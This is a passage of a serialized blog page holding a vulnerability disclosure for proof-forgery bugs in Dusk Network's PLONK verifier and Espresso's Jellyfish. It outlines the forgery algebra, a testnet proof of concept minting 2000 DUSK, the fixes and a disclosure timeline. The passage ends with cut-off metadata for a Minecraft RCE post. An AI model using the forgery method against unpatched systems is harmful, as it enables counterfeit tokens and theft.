(",{"type":24,"tag":57,"props":152885,"children":152887},{"href":152705,"rel":152886},[61],[152888],{"type":29,"value":152709},{"type":29,"value":2108},{"type":24,"tag":179,"props":152891,"children":152892},{},[152893,152895,152982,152984,153076,153077,153084],{"type":29,"value":152894},"There is a fourth permutation commitment ",{"type":24,"tag":284,"props":152896,"children":152898},{"className":152897},[2949,2950],[152899],{"type":24,"tag":327,"props":152900,"children":152902},{"className":152901},[2955],[152903],{"type":24,"tag":327,"props":152904,"children":152906},{"className":152905,"ariaHidden":2961},[2960],[152907],{"type":24,"tag":327,"props":152908,"children":152910},{"className":152909},[2966],[152911,152915,152920,152977],{"type":24,"tag":327,"props":152912,"children":152914},{"className":152913,"style":3685},[2971],[],{"type":24,"tag":327,"props":152916,"children":152918},{"className":152917},[3121],[152919],{"type":29,"value":11329},{"type":24,"tag":327,"props":152921,"children":152923},{"className":152922},[2977],[152924,152929],{"type":24,"tag":327,"props":152925,"children":152927},{"className":152926,"style":100260},[2977,2978],[152928],{"type":29,"value":151359},{"type":24,"tag":327,"props":152930,"children":152932},{"className":152931},[3032],[152933],{"type":24,"tag":327,"props":152934,"children":152936},{"className":152935},[3037,3038],[152937,152966],{"type":24,"tag":327,"props":152938,"children":152940},{"className":152939},[3043],[152941,152961],{"type":24,"tag":327,"props":152942,"children":152944},{"className":152943,"style":99826},[3048],[152945],{"type":24,"tag":327,"props":152946,"children":152947},{"style":100307},[152948,152952],{"type":24,"tag":327,"props":152949,"children":152951},{"className":152950,"style":3059},[3058],[],{"type":24,"tag":327,"props":152953,"children":152955},{"className":152954},[3064,3065,3066,3067],[152956],{"type":24,"tag":327,"props":152957,"children":152959},{"className":152958},[2977,3067],[152960],{"type":29,"value":25038},{"type":24,"tag":327,"props":152962,"children":152964},{"className":152963},[3150],[152965],{"type":29,"value":3153},{"type":24,"tag":327,"props":152967,"children":152969},{"className":152968},[3043],[152970],{"type":24,"tag":327,"props":152971,"children":152973},{"className":152972,"style":99857},[3048],[152974],{"type":24,"tag":327,"props":152975,"children":152976},{},[],{"type":24,"tag":327,"props":152978,"children":152980},{"className":152979},[3143],[152981],{"type":29,"value":22934},{"type":29,"value":152983}," in the verifier key, but the verifier uses the commitment itself inside the linearization MSM rather than trusting a prover-supplied scalar ",{"type":24,"tag":284,"props":152985,"children":152987},{"className":152986},[2949,2950],[152988],{"type":24,"tag":327,"props":152989,"children":152991},{"className":152990},[2955],[152992],{"type":24,"tag":327,"props":152993,"children":152995},{"className":152994,"ariaHidden":2961},[2960],[152996],{"type":24,"tag":327,"props":152997,"children":152999},{"className":152998},[2966],[153000,153004,153061,153066,153071],{"type":24,"tag":327,"props":153001,"children":153003},{"className":153002,"style":3685},[2971],[],{"type":24,"tag":327,"props":153005,"children":153007},{"className":153006},[2977],[153008,153013],{"type":24,"tag":327,"props":153009,"children":153011},{"className":153010,"style":100260},[2977,2978],[153012],{"type":29,"value":151359},{"type":24,"tag":327,"props":153014,"children":153016},{"className":153015},[3032],[153017],{"type":24,"tag":327,"props":153018,"children":153020},{"className":153019},[3037,3038],[153021,153050],{"type":24,"tag":327,"props":153022,"children":153024},{"className":153023},[3043],[153025,153045],{"type":24,"tag":327,"props":153026,"children":153028},{"className":153027,"style":99826},[3048],[153029],{"type":24,"tag":327,"props":153030,"children":153031},{"style":100307},[153032,153036],{"type":24,"tag":327,"props":153033,"children":153035},{"className":153034,"style":3059},[3058],[],{"type":24,"tag":327,"props":153037,"children":153039},{"className":153038},[3064,3065,3066,3067],[153040],{"type":24,"tag":327,"props":153041,"children":153043},{"className":153042},[2977,3067],[153044],{"type":29,"value":25038},{"type":24,"tag":327,"props":153046,"children":153048},{"className":153047},[3150],[153049],{"type":29,"value":3153},{"type":24,"tag":327,"props":153051,"children":153053},{"className":153052},[3043],[153054],{"type":24,"tag":327,"props":153055,"children":153057},{"className":153056,"style":99857},[3048],[153058],{"type":24,"tag":327,"props":153059,"children":153060},{},[],{"type":24,"tag":327,"props":153062,"children":153064},{"className":153063},[3121],[153065],{"type":29,"value":349},{"type":24,"tag":327,"props":153067,"children":153069},{"className":153068,"style":120331},[2977,2978],[153070],{"type":29,"value":120334},{"type":24,"tag":327,"props":153072,"children":153074},{"className":153073},[3143],[153075],{"type":29,"value":3146},{"type":29,"value":5894},{"type":24,"tag":57,"props":153078,"children":153081},{"href":153079,"rel":153080},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/widget/permutation/verifierkey.rs#L24-L104",[61],[153082],{"type":29,"value":153083},"permutation verifier key",{"type":29,"value":2108},{"type":24,"tag":25,"props":153086,"children":153087},{},[153088,153090,153100],{"type":29,"value":153089},"The four selector evaluations fit neither of these safe patterns: they are prover-supplied scalars, they are used directly by verifier code, and they never appear in ",{"type":24,"tag":57,"props":153091,"children":153094},{"href":153092,"rel":153093},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/proof.rs#L361-L373",[61],[153095],{"type":24,"tag":284,"props":153096,"children":153098},{"className":153097},[],[153099],{"type":29,"value":152541},{"type":29,"value":153101},", which leaves the master equation underconstrained.",{"type":24,"tag":25,"props":153103,"children":153104},{},[153105],{"type":24,"tag":11511,"props":153106,"children":153109},{"alt":153107,"src":153108},"structural_trust_boundary","/posts/dusk-commitment-issues/structural_trust_boundary.svg",[],{"type":24,"tag":68,"props":153111,"children":153112},{},[],{"type":24,"tag":228,"props":153114,"children":153116},{"id":153115},"the-exploitation",[153117],{"type":29,"value":153118},"The exploitation",{"type":24,"tag":25,"props":153120,"children":153121},{},[153122],{"type":29,"value":153123},"Since the selector evaluations are free variables, the verification equation becomes a linear equation the prover can solve after the fact.",{"type":24,"tag":25,"props":153125,"children":153126},{},[153127,153129,153135,153137,153142,153144,153149,153151,153157],{"type":29,"value":153128},"The prover commits to arbitrary witness polynomials, without needing a valid witness, and arbitrary quotient polynomials, where small random linear polynomials suffice. It follows the honest protocol through all commitment rounds, deriving the same challenges the verifier will. After seeing ",{"type":24,"tag":284,"props":153130,"children":153132},{"className":153131},[],[153133],{"type":29,"value":153134},"z_challenge",{"type":29,"value":153136},", it computes what the linearization polynomial ",{"type":24,"tag":42,"props":153138,"children":153139},{},[153140],{"type":29,"value":153141},"should",{"type":29,"value":153143}," evaluate to for the pairing check to pass, then solves for ",{"type":24,"tag":284,"props":153145,"children":153147},{"className":153146},[],[153148],{"type":29,"value":152662},{"type":29,"value":153150},", the single free variable that makes the verification equation balance (setting ",{"type":24,"tag":284,"props":153152,"children":153154},{"className":153153},[],[153155],{"type":29,"value":153156},"q_c_eval = q_l_eval = q_r_eval = 0",{"type":29,"value":2108},{"type":24,"tag":25,"props":153159,"children":153160},{},[153161],{"type":24,"tag":11511,"props":153162,"children":153165},{"alt":153163,"src":153164},"exploit_algebra","/posts/dusk-commitment-issues/exploit_algebra.svg",[],{"type":24,"tag":25,"props":153167,"children":153168},{},[153169,153171,153211,153213,153238,153240,153245],{"type":29,"value":153170},"To achieve this one may compute the linearization polynomial ",{"type":24,"tag":284,"props":153172,"children":153174},{"className":153173},[2949,2950],[153175],{"type":24,"tag":327,"props":153176,"children":153178},{"className":153177},[2955],[153179],{"type":24,"tag":327,"props":153180,"children":153182},{"className":153181,"ariaHidden":2961},[2960],[153183],{"type":24,"tag":327,"props":153184,"children":153186},{"className":153185},[2966],[153187,153191,153196,153201,153206],{"type":24,"tag":327,"props":153188,"children":153190},{"className":153189,"style":3685},[2971],[],{"type":24,"tag":327,"props":153192,"children":153194},{"className":153193,"style":99774},[2977,2978],[153195],{"type":29,"value":100593},{"type":24,"tag":327,"props":153197,"children":153199},{"className":153198},[3121],[153200],{"type":29,"value":349},{"type":24,"tag":327,"props":153202,"children":153204},{"className":153203},[2977,2978],[153205],{"type":29,"value":603},{"type":24,"tag":327,"props":153207,"children":153209},{"className":153208},[3143],[153210],{"type":29,"value":3146},{"type":29,"value":153212}," with all selectors set to zero, evaluating it at ",{"type":24,"tag":284,"props":153214,"children":153216},{"className":153215},[2949,2950],[153217],{"type":24,"tag":327,"props":153218,"children":153220},{"className":153219},[2955],[153221],{"type":24,"tag":327,"props":153222,"children":153224},{"className":153223,"ariaHidden":2961},[2960],[153225],{"type":24,"tag":327,"props":153226,"children":153228},{"className":153227},[2966],[153229,153233],{"type":24,"tag":327,"props":153230,"children":153232},{"className":153231,"style":117615},[2971],[],{"type":24,"tag":327,"props":153234,"children":153236},{"className":153235,"style":120331},[2977,2978],[153237],{"type":29,"value":120334},{"type":29,"value":153239},", and comparing to the target value; the difference divided by the coefficient of ",{"type":24,"tag":284,"props":153241,"children":153243},{"className":153242},[],[153244],{"type":29,"value":152662},{"type":29,"value":153246}," gives the required value in a single field division.",{"type":24,"tag":68,"props":153248,"children":153249},{},[],{"type":24,"tag":228,"props":153251,"children":153253},{"id":153252},"impact-on-dusk-network",[153254],{"type":29,"value":153255},"Impact on Dusk Network",{"type":24,"tag":25,"props":153257,"children":153258},{},[153259,153261,153268],{"type":29,"value":153260},"PLONK is the sole gatekeeper for Phoenix-specific correctness claims: note membership, ownership, note commitments, sender-authorship, and balance integrity are encoded entirely in the circuit. Rusk does check other preconditions such as nullifier uniqueness before it verifies the proof (",{"type":24,"tag":57,"props":153262,"children":153265},{"href":153263,"rel":153264},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/rusk/src/lib/node/vm.rs#L153-L184",[61],[153266],{"type":29,"value":153267},"preverify path",{"type":29,"value":153269},"), but for the claims inside the proof there is no secondary validation path. With forged proofs, an attacker could:",{"type":24,"tag":175,"props":153271,"children":153272},{},[153273,153278,153283],{"type":24,"tag":179,"props":153274,"children":153275},{},[153276],{"type":29,"value":153277},"Inflate the token supply by fabricating input notes that do not exist in the note tree, with arbitrary values. The forged proof convinces the network these notes are real, and the attacker mints DUSK out of nothing, ready to transfer to honest users or exchanges.",{"type":24,"tag":179,"props":153279,"children":153280},{},[153281],{"type":29,"value":153282},"Forge spends that bypass the ownership, membership, and balance checks that normally make a Phoenix input note valid.",{"type":24,"tag":179,"props":153284,"children":153285},{},[153286],{"type":29,"value":153287},"Move forged shielded funds through honest wallets, because once a forged Phoenix transaction is accepted, the resulting shielded outputs are not distinguishable from legitimate Phoenix outputs at the protocol level.",{"type":24,"tag":25,"props":153289,"children":153290},{},[153291],{"type":29,"value":153292},"We demonstrated this with a full end-to-end proof-of-concept on a local Dusk testnet:",{"type":24,"tag":175,"props":153294,"children":153295},{},[153296,153301,153311,153323,153328],{"type":24,"tag":179,"props":153297,"children":153298},{},[153299],{"type":29,"value":153300},"Set up a single honest Rusk node and create two wallets (honest and malicious), both with balance 0",{"type":24,"tag":179,"props":153302,"children":153303},{},[153304,153306],{"type":29,"value":153305},"The malicious wallet forges a PLONK proof to create ",{"type":24,"tag":188,"props":153307,"children":153308},{},[153309],{"type":29,"value":153310},"2000 DUSK from nothing",{"type":24,"tag":179,"props":153312,"children":153313},{},[153314,153316,153321],{"type":29,"value":153315},"The malicious wallet transfers ",{"type":24,"tag":188,"props":153317,"children":153318},{},[153319],{"type":29,"value":153320},"1337 DUSK",{"type":29,"value":153322}," to the honest wallet using a normal (honestly-proved) transaction",{"type":24,"tag":179,"props":153324,"children":153325},{},[153326],{"type":29,"value":153327},"The honest node validates both transactions and mines them into blocks",{"type":24,"tag":179,"props":153329,"children":153330},{},[153331],{"type":29,"value":153332},"The honest wallet shows a confirmed balance of 1337 DUSK",{"type":24,"tag":25,"props":153334,"children":153335},{},[153336],{"type":24,"tag":11511,"props":153337,"children":153340},{"alt":153338,"src":153339},"end_to_end","/posts/dusk-commitment-issues/end_to_end.svg",[],{"type":24,"tag":25,"props":153342,"children":153343},{},[153344,153346,153352,153354,153361],{"type":29,"value":153345},"At the time of discovery, DUSK's market cap was roughly ",{"type":24,"tag":57,"props":153347,"children":153349},{"href":148647,"rel":153348},[61],[153350],{"type":29,"value":153351},"~60M",{"type":29,"value":153353},". The entire shielded transaction layer was at risk. Because Phoenix is privacy-preserving, forged outputs accepted into the shielded pool would have been difficult to distinguish after the fact, similar to Neptune Cash with the ",{"type":24,"tag":57,"props":153355,"children":153358},{"href":153356,"rel":153357},"https://neptune.cash/articles/critical-vulnerability-disclosure",[61],[153359],{"type":29,"value":153360},"Triton VM vulnerability",{"type":29,"value":66},{"type":24,"tag":68,"props":153363,"children":153364},{},[],{"type":24,"tag":228,"props":153366,"children":153368},{"id":153367},"the-fix",[153369],{"type":29,"value":153370},"The fix",{"type":24,"tag":25,"props":153372,"children":153373},{},[153374],{"type":29,"value":153375},"The fix adds the four selector evaluations to the KZG batch opening check, so they are verified against the selector commitments already present in the verifier key:",{"type":24,"tag":1380,"props":153377,"children":153378},{},[153379,153424],{"type":24,"tag":179,"props":153380,"children":153381},{},[153382,153384,153395,153397,153403,153404,153410,153411,153417,153418],{"type":29,"value":153383},"Extend ",{"type":24,"tag":57,"props":153385,"children":153388},{"href":153386,"rel":153387},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/compiler/prover.rs#L509",[61],[153389],{"type":24,"tag":284,"props":153390,"children":153392},{"className":153391},[],[153393],{"type":29,"value":153394},"compute_aggregate_witness",{"type":29,"value":153396}," on the prover side to also include ",{"type":24,"tag":284,"props":153398,"children":153400},{"className":153399},[],[153401],{"type":29,"value":153402},"q_arith",{"type":29,"value":2744},{"type":24,"tag":284,"props":153405,"children":153407},{"className":153406},[],[153408],{"type":29,"value":153409},"q_c",{"type":29,"value":2744},{"type":24,"tag":284,"props":153412,"children":153414},{"className":153413},[],[153415],{"type":29,"value":153416},"q_l",{"type":29,"value":14054},{"type":24,"tag":284,"props":153419,"children":153421},{"className":153420},[],[153422],{"type":29,"value":153423},"q_r",{"type":24,"tag":179,"props":153425,"children":153426},{},[153427,153429,153439],{"type":29,"value":153428},"Add their evaluations to ",{"type":24,"tag":57,"props":153430,"children":153433},{"href":153431,"rel":153432},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/proof.rs#L362",[61],[153434],{"type":24,"tag":284,"props":153435,"children":153437},{"className":153436},[],[153438],{"type":29,"value":152541},{"type":29,"value":153440}," on the verifier side, so they're checked against the commitments in the verifier key",{"type":24,"tag":25,"props":153442,"children":153443},{},[153444,153446,153453],{"type":29,"value":153445},"This was done in ",{"type":24,"tag":57,"props":153447,"children":153450},{"href":153448,"rel":153449},"https://github.com/dusk-network/plonk/commit/645265b748d2698bcb403b794fc2d58340b340f1",[61],[153451],{"type":29,"value":153452},"commit 645265b7",{"type":29,"value":153454},", which landed on February 14, 2026.",{"type":24,"tag":68,"props":153456,"children":153457},{},[],{"type":24,"tag":228,"props":153459,"children":153461},{"id":153460},"why-was-this-missed",[153462],{"type":29,"value":153463},"Why was this missed?",{"type":24,"tag":25,"props":153465,"children":153466},{},[153467,153469,153476,153477,153484,153486,153493,153495,153502],{"type":29,"value":153468},"Dusk's stack had been heavily audited: a ",{"type":24,"tag":57,"props":153470,"children":153473},{"href":153471,"rel":153472},"https://github.com/dusk-network/audits/blob/main/core-audits/2023-12_plonk-audit-report_porter-adams.pdf",[61],[153474],{"type":29,"value":153475},"December 2023 audit of dusk-plonk",{"type":29,"value":131117},{"type":24,"tag":57,"props":153478,"children":153481},{"href":153479,"rel":153480},"https://github.com/dusk-network/audits/blob/main/core-audits/2024-09_phoenix-audit-report_jules-de-smit.pdf",[61],[153482],{"type":29,"value":153483},"September 2024 audit of Phoenix",{"type":29,"value":153485},", and a ",{"type":24,"tag":57,"props":153487,"children":153490},{"href":153488,"rel":153489},"https://github.com/dusk-network/audits/blob/main/core-audits/2024-09_rusk-node-library_oak-security.pdf",[61],[153491],{"type":29,"value":153492},"September 2024 Oak Security audit of the Rusk node library",{"type":29,"value":153494},". Dusk's public ",{"type":24,"tag":57,"props":153496,"children":153499},{"href":153497,"rel":153498},"https://dusk.network/news/audits-overview",[61],[153500],{"type":29,"value":153501},"audits overview",{"type":29,"value":153503}," summarizes the broader audit program. The bug still went unnoticed because it hides behind a very easy mental-model mistake.",{"type":24,"tag":25,"props":153505,"children":153506},{},[153507,153509,153514],{"type":29,"value":153508},"At the polynomial level, selectors are public circuit descriptions. A reviewer who keeps that standard PLONK model in mind will naturally think \"selectors are verifier-side\" and move on, overlooking the architectural deviation where Dusk's verifier started consuming prover-supplied selector ",{"type":24,"tag":42,"props":153510,"children":153511},{},[153512],{"type":29,"value":153513},"evaluations",{"type":29,"value":66},{"type":24,"tag":25,"props":153516,"children":153517},{},[153518],{"type":29,"value":153519},"This was a pure proof-system bug, not a Phoenix-circuit bug; the circuit constraints themselves were correctly written. The failure occurred entirely because the verifier accepted proof fields that bypassed the fundamental invariant established earlier: they were neither locally computed nor cryptographically bound to an opening proof.",{"type":24,"tag":25,"props":153521,"children":153522},{},[153523],{"type":29,"value":153524},"The check for this class of bug is mechanical: enumerate every field in the proof's evaluation struct and verify that each one either appears in the opening proof batch or is computed locally by the verifier.",{"type":24,"tag":228,"props":153526,"children":153528},{"id":153527},"a-similar-bug-in-espresso-systems-jellyfish",[153529],{"type":29,"value":153530},"A similar bug in Espresso Systems' Jellyfish",{"type":24,"tag":25,"props":153532,"children":153533},{},[153534,153536,153543],{"type":29,"value":153535},"While investigating PLONK implementations, we found a similar vulnerability in ",{"type":24,"tag":57,"props":153537,"children":153540},{"href":153538,"rel":153539},"https://github.com/EspressoSystems/jellyfish/",[61],[153541],{"type":29,"value":153542},"jf-plonk",{"type":29,"value":153544}," by Espresso Systems. The exact mechanism is different, but the exploitation also boils down to variables that are used in the final check not being cryptographically bound.",{"type":24,"tag":25,"props":153546,"children":153547},{},[153548,153550,153557,153559,153570,153572,153597,153599,153624],{"type":29,"value":153549},"Jellyfish implements UltraPlonk, which extends standard PLONK with ",{"type":24,"tag":57,"props":153551,"children":153554},{"href":153552,"rel":153553},"https://eprint.iacr.org/2020/315",[61],[153555],{"type":29,"value":153556},"Plookup",{"type":29,"value":153558}," lookup arguments. Plookup adds 15 polynomial evaluations to the proof. The function ",{"type":24,"tag":57,"props":153560,"children":153563},{"href":153561,"rel":153562},"https://github.com/EspressoSystems/jellyfish/blob/83e62ed43140d251f8a972033fdd9ddb717c66d7/plonk/src/transcript/mod.rs#L156-L166",[61],[153564],{"type":24,"tag":284,"props":153565,"children":153567},{"className":153566},[],[153568],{"type":29,"value":153569},"append_plookup_evaluations",{"type":29,"value":153571}," was supposed to add all 15 to the Fiat-Shamir transcript before the batching challenge ",{"type":24,"tag":284,"props":153573,"children":153575},{"className":153574},[2949,2950],[153576],{"type":24,"tag":327,"props":153577,"children":153579},{"className":153578},[2955],[153580],{"type":24,"tag":327,"props":153581,"children":153583},{"className":153582,"ariaHidden":2961},[2960],[153584],{"type":24,"tag":327,"props":153585,"children":153587},{"className":153586},[2966],[153588,153592],{"type":24,"tag":327,"props":153589,"children":153591},{"className":153590,"style":117615},[2971],[],{"type":24,"tag":327,"props":153593,"children":153595},{"className":153594,"style":100260},[2977,2978],[153596],{"type":29,"value":120678},{"type":29,"value":153598}," is derived. Instead, it only added 6 of the 15, and the remaining 9 evaluations are used in the batched verification check but don't influence ",{"type":24,"tag":284,"props":153600,"children":153602},{"className":153601},[2949,2950],[153603],{"type":24,"tag":327,"props":153604,"children":153606},{"className":153605},[2955],[153607],{"type":24,"tag":327,"props":153608,"children":153610},{"className":153609,"ariaHidden":2961},[2960],[153611],{"type":24,"tag":327,"props":153612,"children":153614},{"className":153613},[2966],[153615,153619],{"type":24,"tag":327,"props":153616,"children":153618},{"className":153617,"style":117615},[2971],[],{"type":24,"tag":327,"props":153620,"children":153622},{"className":153621,"style":100260},[2977,2978],[153623],{"type":29,"value":120678},{"type":29,"value":153625},", so the prover can adjust them after the fact to make the check pass.",{"type":24,"tag":25,"props":153627,"children":153628},{},[153629,153631,153637,153639,153645],{"type":29,"value":153630},"The attack requires modifying a single evaluation (",{"type":24,"tag":284,"props":153632,"children":153634},{"className":153633},[],[153635],{"type":29,"value":153636},"key_table_next_eval",{"type":29,"value":153638},") by ",{"type":24,"tag":284,"props":153640,"children":153642},{"className":153641},[],[153643],{"type":29,"value":153644},"delta / (u * v^3)",{"type":29,"value":153646}," to close the gap between the true and expected batched evaluation, which, like the Dusk exploit, reduces to a single field division.",{"type":24,"tag":25,"props":153648,"children":153649},{},[153650,153652,153659,153661,153672],{"type":29,"value":153651},"To our knowledge, Jellyfish's UltraPlonk mode is not currently deployed in production. ",{"type":24,"tag":57,"props":153653,"children":153656},{"href":153654,"rel":153655},"https://github.com/EspressoSystems/jellyfish/pull/867",[61],[153657],{"type":29,"value":153658},"PR #867",{"type":29,"value":153660}," fixed the issue and was tagged as ",{"type":24,"tag":57,"props":153662,"children":153665},{"href":153663,"rel":153664},"https://github.com/EspressoSystems/jellyfish/tree/jf-plonk-v0.8.0",[61],[153666],{"type":24,"tag":284,"props":153667,"children":153669},{"className":153668},[],[153670],{"type":29,"value":153671},"jf-plonk-v0.8.0",{"type":29,"value":153673}," on March 18, 2026.",{"type":24,"tag":68,"props":153675,"children":153676},{},[],{"type":24,"tag":228,"props":153678,"children":153680},{"id":153679},"toward-standardization",[153681],{"type":29,"value":153682},"Toward standardization",{"type":24,"tag":25,"props":153684,"children":153685},{},[153686,153688,153695],{"type":29,"value":153687},"The fact that two independent PLONK implementations contain the same class of bug, and that ",{"type":24,"tag":57,"props":153689,"children":153692},{"href":153690,"rel":153691},"https://osec.io/blog/2026-03-03-zkvms-unfaithful-claims/",[61],[153693],{"type":29,"value":153694},"similar patterns appear across zkVMs",{"type":29,"value":153696},", suggests this isn't a problem that individual audits alone can solve. The check described above (diff \"evaluations used\" against \"evaluations bound\") is mechanical and could be built into development tooling, CI pipelines, or standardized PLONK verification specifications.",{"type":24,"tag":25,"props":153698,"children":153699},{},[153700],{"type":29,"value":153701},"We're in early discussions with the Dusk team and other stakeholders about what a PLONK standardization effort could look like: a curve-agnostic, backend-agnostic specification of the verification protocol that makes invariants like evaluation binding explicit and checkable.",{"type":24,"tag":25,"props":153703,"children":153704},{},[153705],{"type":29,"value":153706},"The status quo, where each team implements their own PLONK variant from the paper and hopes the auditor catches what they missed, is fragile. A shared, well-reviewed verification spec would reduce the surface area for these bugs and give auditors a concrete checklist to verify against.",{"type":24,"tag":228,"props":153708,"children":153709},{"id":67546},[153710],{"type":29,"value":153711},"Disclosure timeline",{"type":24,"tag":62466,"props":153713,"children":153714},{},[153715,153731],{"type":24,"tag":129725,"props":153716,"children":153717},{},[153718],{"type":24,"tag":129729,"props":153719,"children":153720},{},[153721,153726],{"type":24,"tag":129733,"props":153722,"children":153723},{},[153724],{"type":29,"value":153725},"Date",{"type":24,"tag":129733,"props":153727,"children":153728},{},[153729],{"type":29,"value":153730},"Event",{"type":24,"tag":129753,"props":153732,"children":153733},{},[153734,153747,153760,153772,153798,153818],{"type":24,"tag":129729,"props":153735,"children":153736},{},[153737,153742],{"type":24,"tag":129760,"props":153738,"children":153739},{},[153740],{"type":29,"value":153741},"2026-02-13",{"type":24,"tag":129760,"props":153743,"children":153744},{},[153745],{"type":29,"value":153746},"Dusk vulnerability reported",{"type":24,"tag":129729,"props":153748,"children":153749},{},[153750,153755],{"type":24,"tag":129760,"props":153751,"children":153752},{},[153753],{"type":29,"value":153754},"2026-02-14",{"type":24,"tag":129760,"props":153756,"children":153757},{},[153758],{"type":29,"value":153759},"Dusk acknowledged",{"type":24,"tag":129729,"props":153761,"children":153762},{},[153763,153767],{"type":24,"tag":129760,"props":153764,"children":153765},{},[153766],{"type":29,"value":153754},{"type":24,"tag":129760,"props":153768,"children":153769},{},[153770],{"type":29,"value":153771},"Dusk fix committed",{"type":24,"tag":129729,"props":153773,"children":153774},{},[153775,153780],{"type":24,"tag":129760,"props":153776,"children":153777},{},[153778],{"type":29,"value":153779},"2026-02-27",{"type":24,"tag":129760,"props":153781,"children":153782},{},[153783,153785,153796],{"type":29,"value":153784},"Public ",{"type":24,"tag":57,"props":153786,"children":153789},{"href":153787,"rel":153788},"https://github.com/dusk-network/rusk/releases/tag/dusk-rusk-1.6.0",[61],[153790],{"type":24,"tag":284,"props":153791,"children":153793},{"className":153792},[],[153794],{"type":29,"value":153795},"dusk-rusk-1.6.0",{"type":29,"value":153797}," release published",{"type":24,"tag":129729,"props":153799,"children":153800},{},[153801,153806],{"type":24,"tag":129760,"props":153802,"children":153803},{},[153804],{"type":29,"value":153805},"2026-03-16",{"type":24,"tag":129760,"props":153807,"children":153808},{},[153809,153811,153817],{"type":29,"value":153810},"Jellyfish fix PR opened (",{"type":24,"tag":57,"props":153812,"children":153814},{"href":153654,"rel":153813},[61],[153815],{"type":29,"value":153816},"#867",{"type":29,"value":3146},{"type":24,"tag":129729,"props":153819,"children":153820},{},[153821,153826],{"type":24,"tag":129760,"props":153822,"children":153823},{},[153824],{"type":29,"value":153825},"2026-03-18",{"type":24,"tag":129760,"props":153827,"children":153828},{},[153829,153831,153836,153838],{"type":29,"value":153830},"Jellyfish fix merged in ",{"type":24,"tag":57,"props":153832,"children":153834},{"href":153654,"rel":153833},[61],[153835],{"type":29,"value":153816},{"type":29,"value":153837}," and tagged as ",{"type":24,"tag":57,"props":153839,"children":153841},{"href":153663,"rel":153840},[61],[153842],{"type":24,"tag":284,"props":153843,"children":153845},{"className":153844},[],[153846],{"type":29,"value":153671},{"type":24,"tag":228,"props":153848,"children":153850},{"id":153849},"acknowledgements",[153851],{"type":29,"value":153852},"Acknowledgements",{"type":24,"tag":25,"props":153854,"children":153855},{},[153856],{"type":29,"value":153857},"We thank the Dusk team for responding within a day, coordinating the fix transparently, and engaging on the broader standardization question. We also thank the Espresso Systems team for turning around the Jellyfish patch in under a week.",{"title":7,"searchDepth":367,"depth":367,"links":153859},[153860,153867,153868,153869,153870,153871,153872,153873,153874,153875,153876,153877],{"id":148677,"depth":367,"text":148680,"children":153861},[153862,153863,153864,153865,153866],{"id":148702,"depth":408,"text":148705},{"id":149505,"depth":408,"text":149508},{"id":150703,"depth":408,"text":150706},{"id":150733,"depth":408,"text":150736},{"id":151014,"depth":408,"text":151017},{"id":151747,"depth":367,"text":151750},{"id":151885,"depth":367,"text":151888},{"id":97028,"depth":367,"text":152516},{"id":153115,"depth":367,"text":153118},{"id":153252,"depth":367,"text":153255},{"id":153367,"depth":367,"text":153370},{"id":153460,"depth":367,"text":153463},{"id":153527,"depth":367,"text":153530},{"id":153679,"depth":367,"text":153682},{"id":67546,"depth":367,"text":153711},{"id":153849,"depth":367,"text":153852},"content:blog:2026-04-30-unverified-evaluations-dusk-plonk.md","blog/2026-04-30-unverified-evaluations-dusk-plonk.md","blog/2026-04-30-unverified-evaluations-dusk-plonk",{"_path":153882,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":153883,"description":153884,"date":153885,"author":130384,"image":153886,"isFeatured":16,"onBlogPage":16,"tags":153888,"body":153891,"_type":10481,"_id":163271,"_source":10483,"_file":163272,"_stem":163273,"_extension":10486},"/blog/2026-06-02-minecraft-heap-overflow-to-rce","Pwning Minecraft: 4-Byte Heap Overflow to RCE","We achieved RCE in Minecraft Bedrock, turning a 4-byte heap overflow into complete client compromise. Learn how a universal, Bedrock-specific technique is used to bypass ASLR and achieve arbitrary read/write primitives.","2026-06-02T12:00:00.000Z",{"src":153887,"width":103995,"height":14},"/posts/minecraft-heap-overflow-to-rce/title.png",[153889,153890],"minecraft","rce",{"type":21,"children":153892,"toc":163248},[153893,153898,153903,153908,153914,153919,153938,153943,153949,153954,153959,153965,153970,153975,153980,153986,153991,153996,154002,154022,154034,154041,154063,154077,154084,154090,154100,154120,154125,154131,154144,154489,154494,154502,154508,154527,154835,154863,154906,154918,154926,154931,155400,155419,155440,155782,155806,156078,156102,156129,156338,156357,156365,156384,156390,156452,156455,156477,156481,156486,156491,156497,156502,156516,156522,156536,156542,156555,156560,156568,156573,156579,156600,156608,156621,156624,156629,156643,156648,156653,156659,156664,156687,156692,156698,156703,156715,156727,156841,156861,156866,156871,156877,156882,156902,157517,157530,158604,158609,158617,158622,158628,158633,158641,158654,158659,158664,158671,158684,158689,158696,158751,158771,158778,158797,158804,158807,158812,158817,158823,158835,158848,158856,158927,158938,158972,158980,158985,158990,158996,159008,159027,159039,159044,159052,159071,159079,159098,159106,159132,159140,159145,159153,159158,159166,159169,159174,159179,159185,159198,159216,159254,159284,159292,159297,159303,159308,159313,159319,159331,159500,159512,159520,159525,159532,159537,159598,159645,159657,159662,159688,159762,159800,159805,159813,159834,159839,159865,159899,159952,159999,160005,160024,160056,160064,160167,160238,160244,160270,160277,160282,160289,160294,160535,160561,160566,160614,160619,160625,160657,160669,160701,160709,160748,160756,160761,160769,160774,160782,160794,160802,160814,160822,160834,160854,160860,160880,160897,160905,160917,160925,160944,160949,160957,160962,160970,160996,161007,161014,161019,161027,161032,161040,161045,161053,161058,161066,161071,161079,161084,161092,161133,161140,161145,161153,161158,161166,161171,161179,161184,161189,161197,161202,161210,161236,161244,161270,161278,161283,161291,161296,161304,161312,161317,161325,161330,161338,161341,161352,161386,161404,161412,161432,161438,161457,161515,161535,161543,161546,161585,161645,161650,161656,161669,161677,161729,161768,161776,161809,161812,161832,161840,161846,161851,161859,161899,161940,161960,161965,161970,161988,161994,161999,162018,162079,162087,162113,162119,162139,162144,162149,162156,162221,162226,162233,162254,162259,162271,162277,162310,162317,162322,162350,162357,162413,162425,162432,162493,162512,162518,162552,162573,162600,162608,162661,162731,162737,162757,162800,162805,163203,163209,163214,163225,163229,163234,163239,163244],{"type":24,"tag":42085,"props":153894,"children":153896},{"id":153895},"pwning-minecraft-4-byte-heap-overflow-t